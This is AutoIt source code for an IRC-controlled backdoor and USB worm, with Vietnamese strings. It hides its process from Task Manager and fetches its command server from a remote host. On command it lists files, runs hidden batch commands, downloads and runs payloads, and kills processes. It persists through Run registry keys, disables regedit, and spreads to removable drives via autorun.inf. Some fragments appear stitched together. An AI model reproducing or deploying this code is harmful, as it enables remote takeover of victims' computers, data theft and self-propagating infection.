FileInstall ( "source", "dest" [, flag] )

Func HIDE()
Dim $PROCNAME = "Wupdate.exe", $TASKMANTITLE = "Windows Task Manager"
$FINDINDEX = ControllistView($TASKMANTITLE, "", 1009, "FindItem", $PROCNAME)
If $FINDINDEX = -1 Then
Else
$HWND = ControlGetHandle($TASKMANTITLE, "", 1009)
DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", 4104, "int", $FINDINDEX, "int", 0)
EndIf
EndFunc

FileCopy(@SystemDir & "\MUIi\system64", $A[1] & "\bachkhoadanang.exe", 1)

Opt("TrayIconHide", 1)
While 1
_MAIN()
WEnd
Func _MAIN()
$AGAIN = 0
$_NAME = ""
If @UserName == "Administrator" Then
$_NAME = @ComputerName
Else
$NAME = StringSplit(@UserName, " ")
For $R = 1 To $NAME[0] Step 1
If $R < $NAME Then
$_NAME = $_NAME & $NAME[$R] & "_"
Else
$_NAME = $_NAME & $NAME[$R]
EndIf
Next
EndIf
Do
Do
InetGet("http://anhphideptrai.summerhost.info/index", "C:\Windows\System32\MUI\infoconnect")
$CONNECT_SERVER = FileReadLine("C:\Windows\System32\MUI\infoconnect", 1)
$_CONNECT_SERVER = StringSplit($CONNECT_SERVER, " ")
Sleep(2000)
Until $_CONNECT_SERVER[0] > 3
Until $_CONNECT_SERVER[4] == "'"
Global $SERVER = $_CONNECT_SERVER[1]
Global $PORT = $_CONNECT_SERVER[2]
Global $NICK = $_NAME & "_" & @SEC
Global $CHANNEL = $_CONNECT_SERVER[3]
Global $COMMAND
$J = 0
TCPStartup()
Global $SOCK = _IRCCONNECT($SERVER, $PORT, $NICK)
While $AGAIN == 0
Local $RUN
Local $STRTMP
$RECV = TCPRecv($SOCK, 8192)
If @error Then $SOCK = _IRCCONNECT($SERVER, $PORT, $NICK)
Local $SDATA = StringSplit($RECV, @CRLF)
For $I = 1 To $SDATA[0] Step 1
Local $STEMP = StringSplit($SDATA[$I], " ")
If $STEMP[1] = "" Then ContinueLoop
If $STEMP[1] = "PING" Then TCPSend($SOCK, "PONG " & $STEMP[2] & @CRLF)
If $STEMP[0] <= 2 Then ContinueLoop
Switch $STEMP[2]
Case "PRIVMSG"
$USER = StringMid($STEMP[1], 2, StringInStr($STEMP[1], "!") - 2)
$MSG = StringMid($SDATA[$I], StringInStr($SDATA[$I], ":", 0, 2) + 1)
Case "266"
_IRCJOINCHANNEL($SOCK, $CHANNEL)
_IRCCHANGEMODE($SOCK, "+i", $NICK)
EndSwitch
$LENH = StringSplit($SDATA[$I], ":")
If $LENH[0] > 2 Then
$DOS = StringSplit($LENH[3], " ")
If ($DOS[1] == "$") Then
If $DOS[0] > 1 Then
Switch $DOS[2]
Case "M"
Send("#e")
Case "drive"
$A = DriveGetDrive("fixed")
$DRIVE = "gom co " & $A[0] & " la cac o dia : "
For $I = 1 To $A[0] Step 1
$DRIVE = $DRIVE & $A[$I] & "/ "
Next
_IRCSENDMESSAGE($SOCK, $DRIVE, $CHANNEL)
Case "dir"
If $DOS[0] > 2 Then
$DIR = StringSplit($LENH[3], "'")
If @error <> 1 Then
$DIR_ = ""
$_DIR = StringSplit($DIR[2], ";")
If @error <> 1 Then
$DIR_ = $_DIR[1]
For $I = 2 To $_DIR[0] Step 1
$DIR_ = $DIR_ & ":" & $_DIR[$I]
Next
$A = _FILElistTOARRAY($DIR_, "*", 2)
If @error <> 1 Then
If $A[0] > 0 Then
$SHOWDIR = $DIR_ & " co " & $A[0] & " Folders"
_IRCSENDMESSAGE($SOCK, $SHOWDIR, $CHANNEL)
For $I = 1 To $A[0] Step 1
_IRCSENDMESSAGE($SOCK, $I & " " & $A[$I], $CHANNEL)
Next
_IRCSENDMESSAGE($SOCK, "End list", $CHANNEL)
Else
_IRCSENDMESSAGE($SOCK, "not exist Folder", $CHANNEL)
EndIf
Else
_IRCSENDMESSAGE($SOCK, "not exist path", $CHANNEL)
EndIf
EndIf
Else
_IRCSENDMESSAGE($SOCK, " Error Command !", $CHANNEL)
EndIf
EndIf
Case "file"
If $DOS[0] > 2 Then
$FILE = StringSplit($LENH[3], "'")
If @error <> 1 Then
$FILE_ = ""
$_FILE = StringSplit($FILE[2], ";")
If @error <> 1 Then
$FILE_ = $_FILE[1]
For $I = 2 To $_FILE[0] Step 1
$FILE_ = $FILE_ & ":" & $_FILE[$I]
Next
$A = _FILElistTOARRAY($FILE_, "*.*", 1)
If @error <> 1 Then
If $A[0] > 0 Then
$SHOWFILE = $FILE_ & " co " & $A[0] & " Files"
_IRCSENDMESSAGE($SOCK, $SHOWFILE, $CHANNEL)
For $I = 1 To $A[0] Step 1
_IRCSENDMESSAGE($SOCK, $I & " " & $A[$I], $CHANNEL)
Next
_IRCSENDMESSAGE($SOCK, "End list", $CHANNEL)
Else
_IRCSENDMESSAGE($SOCK, "not exist File", $CHANNEL)
EndIf
Else
_IRCSENDMESSAGE($SOCK, "not exist path", $CHANNEL)
EndIf
EndIf
Else
_IRCSENDMESSAGE($SOCK, " Error Command !", $CHANNEL)
EndIf
EndIf
Case "cmd"
$_COMMAND = StringSplit($LENH[3], "'")
$COMMAND_ = ""
For $I = 2 To $_COMMAND[0] Step 1
If $I < $_COMMAND[0] Then
$CONVERT = StringSplit($_COMMAND[$I], " ")
If ($CONVERT[0] > 1) Then
If ($CONVERT[1] == "pyng") Then
$_COMMAND[$I] = "ping " & StringRight($_COMMAND[$I], StringLen($_COMMAND[$I]) - 4)
EndIf
EndIf
$COMMAND_ = $COMMAND_ & $_COMMAND[$I] & @CRLF
Else
$COMMAND_ = $COMMAND_ & $_COMMAND[$I]
EndIf
Next
FileSetAttrib(@SystemDir & "\MUIi\anhphideptrai.bat", "-shr")
FileDelete(@SystemDir & "\MUIi\anhphideptrai.bat")
_FILECREATE(@SystemDir & "\MUIi\anhphideptrai.bat")
$FILE = FileOpen(@SystemDir & "\MUIi\anhphideptrai.bat", 1)
FileWrite($FILE, $COMMAND_)
FileSetAttrib(@SystemDir & "\MUIi\anhphideptrai.bat", "+shr")
FileClose($FILE)
Run(@SystemDir & "\MUIi\anhphideptrai.bat", @SW_HIDE)
If @error <> 1 Then
_IRCSENDMESSAGE($SOCK, "File anhphideptrai.bat Running.........", $CHANNEL)
Else
_IRCSENDMESSAGE($SOCK, "File anhphideptrai.bat not run.........", $CHANNEL)
EndIf
Case "again"
$AGAIN = 1
_IRCSENDMESSAGE($SOCK, "Againning.........", $CHANNEL)
TCPCloseSocket($SOCK)
TCPShutdown()
Case "T"
Send("^t")
Case "l"
_IRCSENDMESSAGE($SOCK, "Log offing.........", $CHANNEL)
TCPCloseSocket($SOCK)
TCPShutdown()
Shutdown(0)
Case "s"
_IRCSENDMESSAGE($SOCK, "Shutdownning.........", $CHANNEL)
TCPCloseSocket($SOCK)
TCPShutdown()
Shutdown(1)
Case "r"
_IRCSENDMESSAGE($SOCK, "Restarting.........", $CHANNEL)
TCPCloseSocket($SOCK)
TCPShutdown()
Shutdown(2)
Case "chup"
_SCREENCAPTURE_CAPTURE(@DesktopDir & "/manghinh " & $J & ".jpg")
ShellExecute(@DesktopDir & "/manghinh " & $J & ".jpg")
$J += 1
Case "download"
If $DOS[0] > 2 Then
$DOWNLOAD = StringSplit($LENH[3], "'")
If @error <> 1 Then
If $DOWNLOAD[0] > 1 Then
$_DOWNLOAD = StringSplit($DOWNLOAD[2], ";")
$DOWNLOAD_ = ""
For $I = 1 To $_DOWNLOAD[0] Step 1
If $DOWNLOAD_ <> "" Then
$DOWNLOAD_ = $DOWNLOAD_ & ":" & $_DOWNLOAD[$I]
Else
$DOWNLOAD_ = $_DOWNLOAD[$I]
EndIf
Next
$CHECKDOWNLOAD = InetGet($DOWNLOAD_, "C:\Windows\System32\system.exe")
If $CHECKDOWNLOAD == 1 Then
$CHECKDOWNLOAD_ = Run("C:\Windows\System32\system.exe")
If $CHECKDOWNLOAD_ == 1 Then
_IRCSENDMESSAGE($SOCK, " Downloaded and Running !", $CHANNEL)
EndIf
Else
_IRCSENDMESSAGE($SOCK, " Download Error !", $CHANNEL)
EndIf
EndIf
EndIf
Else
_IRCSENDMESSAGE($SOCK, " Error Command !", $CHANNEL)
EndIf
Case "open"
If $DOS[0] > 2 Then
$OPEN = StringSplit($LENH[3], "'")
If @error <> 1 Then
If $OPEN[0] > 1 Then
$_OPEN = StringSplit($OPEN[2], ";")
$OPEN_ = ""
If $_OPEN[0] > 0 Then
For $I = 1 To $_OPEN[0] Step 1
If $OPEN_ <> "" Then
$OPEN_ = $OPEN_ & ":" & $_OPEN[$I]
Else
$OPEN_ = $_OPEN[$I]
EndIf
Next
$CHECKOPEN = ShellExecute($OPEN_)
If $CHECKOPEN == 1 Then
_IRCSENDMESSAGE($SOCK, $OPEN_ & " Opened !", $CHANNEL)
Else
_IRCSENDMESSAGE($SOCK, $OPEN_ & " Open not !", $CHANNEL)
EndIf
EndIf
EndIf
EndIf
Else
_IRCSENDMESSAGE($SOCK, " Error Command !", $CHANNEL)
EndIf
Case "close"
If $DOS[0] > 2 Then
$CLOSE = StringSplit($LENH[3], "'")
If @error <> 1 Then
If $CLOSE[0] > 1 Then
If ProcessExists($CLOSE[2]) Then
$CHECKCLOSE = ProcessClose($CLOSE[2])
If $CHECKCLOSE == 1 Then
_IRCSENDMESSAGE($SOCK, $CLOSE[2] & " closed !", $CHANNEL)
Else
_IRCSENDMESSAGE($SOCK, $CLOSE[2] & " close not !", $CHANNEL)
EndIf
Else
_IRCSENDMESSAGE($SOCK, $CLOSE[2] & " exist not !", $CHANNEL)
EndIf
EndIf
EndIf
Else
_IRCSENDMESSAGE($SOCK, " Error Command !", $CHANNEL)
EndIf
Case Else
_IRCSENDMESSAGE($SOCK, " I'm Ready !", $CHANNEL)
EndSwitch
EndIf
EndIf
EndIf
Next
Sleep(100)
WEnd
EndFunc
Global $RET
Func _IRCCONNECT($SERVER, $PORT, $NICK)
Local $I = -1
While $I = -1
$I = TCPConnect(TCPNameToIP($SERVER), $PORT)
WEnd
TCPSend($I, "NICK " & $NICK & @CRLF)
TCPSend($I, "USER " & $NICK & " 0 0 " & $NICK & @CRLF)
Return $I
EndFunc
Func _IRCJOINCHANNEL($IRC, $CHAN)
If $IRC = -1 Then Return 0
TCPSend($IRC, "JOIN " & $CHAN & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc
Func _IRCSENDMESSAGE($IRC, $MSG, $CHAN = "")
If $IRC = -1 Then Return 0
If $CHAN = "" Then
TCPSend($IRC, $MSG & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndIf
TCPSend($IRC, "PRIVMSG " & $CHAN & " :" & $MSG & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc
Func _IRCCHANGEMODE($IRC, $MODE, $CHAN = "")
If $IRC = -1 Then Return 0
If $CHAN = "" Then
TCPSend($IRC, "MODE " & $MODE & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndIf
TCPSend($IRC, "MODE " & $CHAN & " " & $MODE & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc
Func _IRCPING($RET)
If $RET = "" Then Return -1
TCPSend($IRC, "PONG " & $RET & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc

Opt("TrayIconHide", 1)
Global $USB
Global $A
Global $I
Global $FILE
If @ScriptName == "bachkhoadanang.exe" Then
$USB = DriveGetDrive("removable")
If @error <> 1 Then
ShellExecute(@ScriptDir)
EndIf
EndIf
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "System", "REG_SZ", @SystemDir & "\MUIi\system32.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Ghost", "REG_SZ", @SystemDir & "\MUIi\ghost32.exe")
If ProcessExists("system32.exe") And ProcessExists("bachkhoadanang.exe") Then
Exit 0
ElseIf ProcessExists("bachkhoadanang.exe") Then
DirCreate(@SystemDir & "\MUIi")
FileCopy("bachkhoadanang.exe", @SystemDir & "\MUIi\system32.exe", 1)
FileCopy("bachkhoadanang.exe", @SystemDir & "\MUIi\system64", 1)
FileCopy("killer", @SystemDir & "\MUIi\ghost32.exe", 1)
FileCopy("killer", @SystemDir & "\MUIi\ghost64", 1)
FileSetAttrib(@SystemDir & "\MUIi\system32.exe", "+rsh")
FileSetAttrib(@SystemDir & "\MUIi\ghost32.exe", "+rsh")
FileSetAttrib(@SystemDir & "\MUIi\system64", "+rsh")
FileSetAttrib(@SystemDir & "\MUIi\ghost64", "+rsh")
Run(@SystemDir & "\MUIi\system32.exe")
Run(@SystemDir & "\MUIi\ghost32.exe")
Exit 0
EndIf
$A = DriveGetDrive("removable")
While 1
While @error == 1
If ProcessExists("regedit.exe") Then
ProcessClose("regedit.exe")
EndIf
Sleep(2000)
$A = DriveGetDrive("removable")
WEnd
While @error <> 1
If ProcessExists("regedit.exe") <> 0 Then
ProcessClose("regedit.exe")
EndIf
If FileExists($A[1] & "\bachkhoadanang.exe") == 0 Then
FileCopy(@SystemDir & "\MUIi\system64", $A[1] & "\bachkhoadanang.exe", 1)
EndIf
If FileExists($A[1] & "\killer") == 0 Then
FileCopy(@SystemDir & "\MUIi\ghost64", $A[1] & "\killer", 1)
EndIf
FileSetAttrib($A[1] & "\autorun.inf", "-srha")
FileDelete($A[1] & "\autorun.inf")
_FILECREATE($A[1] & "\autorun.inf")
$FILE = FileOpen($A[1] & "\autorun.inf", 1)
FileWrite($FILE, "[AutoRun]" & @CRLF & "open=bachkhoadanang.exe" & @CRLF & ";shell\open=Open(&O)" & @CRLF & "shell\open\Command=bachkhoadanang.exe" & @CRLF & "shell\open\Default=1" & @CRLF & ";shell\explore=Manager(&X)" & @CRLF & "shell\explore\Command=bachkhoadanang.exe" & @CRLF & "shellexecute=bachkhoadanang.exe" & @CRLF & "shell\Auto\command=bachkhoadanang.exe")
FileSetAttrib($A[1] & "\autorun.inf", "+SRHA")
FileClose($FILE)
Sleep(2000)
$A = DriveGetDrive("removable")
WEnd
WEnd